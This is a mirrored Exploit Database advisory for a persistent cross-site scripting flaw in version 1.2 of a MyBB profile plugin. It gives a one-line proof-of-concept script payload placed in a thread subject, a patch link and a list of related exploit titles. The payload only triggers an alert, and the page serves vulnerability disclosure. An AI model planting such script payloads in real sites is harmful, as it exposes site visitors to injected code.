MyBB Plugin Last User’s Threads in Profile Plugin 1.2 – Persistent Cross-Site Scripting

Exploit Database
87 阅读

作者： 0xB9

日期： 2018-03-23
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/44339/

# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Date: 3/19/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=910
# Version: v1.2
# Tested on: Ubuntu 17.10


1. Description:
Display last threads in user profile.
 

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.


3. Solution:

Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d

last Exploits
MyBB Plugin Last User’s Threads in Profile Plugin 1.2 – Persistent Cross-Site Scripting的更多信息

ASP Basit Haber Script 1.0 – ‘id’ SQL Injection：
PHP-Fusion 4.01 – SQL Injection：
Joomla! Component Joomanager 2.0.0 – ‘com_Joomanager’ Arbitrary File Download (PoC)：
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation：
OrangeHRM 2.6.11 – ‘index.php’ Multiple Cross-Site Scripting Vulnerabilities：
Brocade Network Advisor 14.4.1 – Unauthenticated Remote Code Execution：
torrenttrader 2.08 – Multiple Vulnerabilities：
SiteDone Custom Edition 2.0 – SQL Injection / Cross-Site Scripting：